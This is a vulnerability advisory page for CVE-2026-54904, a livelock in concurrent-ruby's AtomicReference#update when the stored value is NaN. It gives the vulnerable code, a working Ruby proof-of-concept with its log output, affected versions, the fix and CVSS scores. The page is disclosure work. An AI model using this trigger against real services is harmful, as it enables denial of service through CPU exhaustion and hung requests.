Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-54904
Published:June 19, 2026
Updated:June 21, 2026
Summary "Concurrent::AtomicReference#update" can enter a permanent busy retry loop when the current value is "Float::NAN". The issue is caused by the interaction between: - "AtomicReference#update", which retries until "compare_and_set(old_value, new_value)" succeeds. - Numeric "compare_and_set", which checks "old == old_value" before attempting the underlying atomic swap. - Ruby NaN semantics, where "Float::NAN == Float::NAN" is always "false". As a result, once an "AtomicReference" contains "Float::NAN", calling "#update" repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an "AtomicReference", this can cause CPU exhaustion or permanent request/job hangs. Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details "AtomicReference#update" retries until "compare_and_set" returns true: def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value end For numeric expected values, "compare_and_set" uses numeric equality before attempting the underlying atomic compare-and-set: def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end end When the stored value is "Float::NAN", "old_value = get" returns NaN. The later comparison "old == old_value" is false because NaN is not equal to itself. "compare_and_set" therefore returns false every time. "AtomicReference#update" treats that as a failed concurrent update and retries forever. This is reachable through the public "Concurrent::AtomicReference" API and does not require native extensions or undefined behavior. PoC #!/usr/bin/env ruby frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}" Log evidence ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0 Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a "Concurrent::AtomicReference", an attacker or faulty upstream data source may be able to cause the stored value to become "Float::NAN". Any later call to "AtomicReference#update" on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU. Credit Pranjali Thakur - depthfirst ("depthfirst.com" (http://depthfirst.com))
Affected Packages
https://github.com/ruby-concurrency/concurrent-ruby.git (GITHUB):
Affected version(s) >=v0.3.0.pre.2 <v1.3.7
Fix Suggestion:
Update to version v1.3.7
concurrent-ruby (RUBY):
Affected version(s) >=0.0.1 <1.3.7
Fix Suggestion:
Update to version 1.3.7
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.2
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
PRESENT
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Weakness Type (CWE)
Loop with Unreachable Exit Condition ('Infinite Loop')